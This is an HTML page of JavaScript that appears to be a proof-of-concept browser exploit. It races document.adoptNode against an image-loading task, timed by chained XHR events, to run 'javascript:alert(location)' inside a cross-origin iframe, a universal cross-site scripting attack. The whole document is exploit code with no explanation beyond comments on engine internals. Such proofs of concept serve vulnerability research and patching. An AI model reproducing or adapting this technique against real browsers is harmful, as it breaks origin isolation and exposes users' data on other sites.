<script>
if (location.protocol == 'file:') {
  throw alert('HTTP server is required.');
}

var u = URL.createObjectURL(new Blob);
var d = document.documentElement.appendChild(document.createElement('iframe')).contentDocument;

var adopting = 0;
d.open();
d.onreadystatechange = function() {
  if (d.readyState == 'complete') {
    if (adopting) {
      d.appendChild(c);
    }
  }
}
var c = d.appendChild(d.createElement('div'));
var im = c.appendChild(d.createElement('img'));
var i0 = c.appendChild(d.createElement('iframe'));
var i1 = c.appendChild(d.createElement('iframe'));

x = new XMLHttpRequest;
x.onload = function() {
  // This enqueues the image loading microtask (ImageLoader::Task), which initializes
  // m_loader in Resource::load and m_image in ImageLoader::doUpdateFromElement.
  // The microtask is executed immediately after this handler finishes. It is necessary
  // to start adoption after the microtask has finished, but before OnCompletedRequest
  // callbacks are handled (that'd clear the aforementioned Resource::m_loader). Chaining
  // XHR events allows this without exiting to the main loop, which eliminates the risk
  // of a race.
  im.src = u;
}
x.onloadend = function() {
  d.close();
  URL.revokeObjectURL(u);
  adopting = 1;
  document.adoptNode(c);
  adopting = 0;
  i1.onload = function() {
    try {
      i1.contentDocument;
    } catch(e) {
      i1.onload = null;
      i1.src = 'javascript:alert(location)';
      var f = document.documentElement.appendChild(document.createElement('iframe'));
      f.src = 's.svg';
    }
  }
  i1.src = 'https://abc.xyz';
}
x.open('get','data:text/html,');
x.send();
</script>